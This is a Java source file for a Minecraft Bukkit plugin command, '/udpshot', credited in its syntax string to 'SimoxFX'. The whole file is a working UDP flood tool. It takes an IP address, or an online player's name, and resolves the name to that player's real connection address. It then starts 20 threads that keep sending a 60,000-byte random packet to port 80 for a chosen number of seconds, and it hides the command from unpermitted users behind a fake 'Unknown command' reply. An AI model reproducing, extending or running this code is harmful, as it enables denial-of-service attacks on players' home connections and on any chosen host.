public class udpcommand implements CommandExecutor
{
    @Override
    public boolean onCommand(CommandSender sender, Command command, String commandLabel, String[] args)
    {
        if(commandLabel.equalsIgnoreCase("udpshot"))
        {
            try
            {
                if(sender.hasPermission("udp.use"))
                {
                    String usernameOrIp = args[0];
                    final long time = Long.parseLong(args[1]);
                    boolean isIP = usernameOrIp.contains(".");
                    if(isIP)
                    {
                        final long curTime = System.currentTimeMillis();
                        Random rand = new Random();
                        String characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
                        char[] text = new char[60000];
                        for (int i = 0; i < 60000; i++)
                        {
                            text[i] = characters.charAt(rand.nextInt(characters.length()));
                        }
                        String send = new String(text);
                        final DatagramSocket clientSocketUDP;
                        final DatagramPacket sendPacket;
                        InetAddress IPAddress;
                        try
                        {
                            IPAddress = InetAddress.getByName(usernameOrIp);
                            clientSocketUDP = new DatagramSocket();
                            sendPacket = new DatagramPacket(send.getBytes(), send.length(), IPAddress, 80);
                            for(int i = 1; i <= 20; i++)
                            {
                                new Thread("Thread " + i)
                                {
                                    public void run()
                                    {
                                        while(curTime + (time * 1000) > System.currentTimeMillis())
                                        {
                                            try
                                            {
                                                clientSocketUDP.send(sendPacket);
                                            }catch(IOException e)
                                            {
                                                e.printStackTrace();
                                            }catch(Exception e)
                                            {
                                                e.printStackTrace();
                                            }
                                        }
                                    }
                                }.start();
                            }
                            sender.sendMessage("§7[§aUDPSHOT§7] §aAttacco iniziato a " + usernameOrIp + " per " + time + " secondo/i.");
                        }catch (IOException e1)
                        {
                            e1.printStackTrace();
                        }
                    }else
                    {
                        InetAddress IPAddress;
                        for(Player p : Bukkit.getServer().getOnlinePlayers())
                        {
                            if(p.getName().equalsIgnoreCase(usernameOrIp))
                            {
                                final long curTime = System.currentTimeMillis();
                                Random rand = new Random();
                                String characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
                                char[] text = new char[60000];
                                for (int i = 0; i < 60000; i++)
                                {
                                    text[i] = characters.charAt(rand.nextInt(characters.length()));
                                }
                                String send = new String(text);
                                final DatagramSocket clientSocketUDP;
                                final DatagramPacket sendPacket;
                                try
                                {
                                    IPAddress = p.getAddress().getAddress();
                                    clientSocketUDP = new DatagramSocket();
                                    sendPacket = new DatagramPacket(send.getBytes(), send.length(), IPAddress, 80);
                                    for(int i = 1; i <= 20; i++)
                                    {
                                        new Thread("Thread " + i)
                                        {
                                            public void run()
                                            {
                                                while(curTime + (time * 1000) > System.currentTimeMillis())
                                                {
                                                    try
                                                    {
                                                        clientSocketUDP.send(sendPacket);
                                                    }catch(IOException e)
                                                    {
                                                        e.printStackTrace();
                                                    }catch(Exception e)
                                                    {
                                                        e.printStackTrace();
                                                    }
                                                }
                                            }
                                        }.start();
                                    }
                                    sender.sendMessage("§7[§aUDPSHOT§7] §aAttaco iniziato a " + IPAddress.getHostAddress() + " per " + time + " secondo/i.");
                                }catch (IOException e1)
                                {
                                    e1.printStackTrace();
                                }
                            }
                        }
                    }
                    return true;
                }else
                {
                    sender.sendMessage("Unknown command. Type \"/help\" for help.");
                }
            }catch(Exception e)
            {
                sender.sendMessage(getSyntax());
            }
        }
        return false;
    }

    private final String getSyntax()
    {
        return "§4Parametri invalidi!. \n \n §aCopyright <C> 2015 Simox - saymodev@gmail.com. \n §7ShOoTeR by SimoxFX \n /udpshot <username/ip> <time>";
    }
}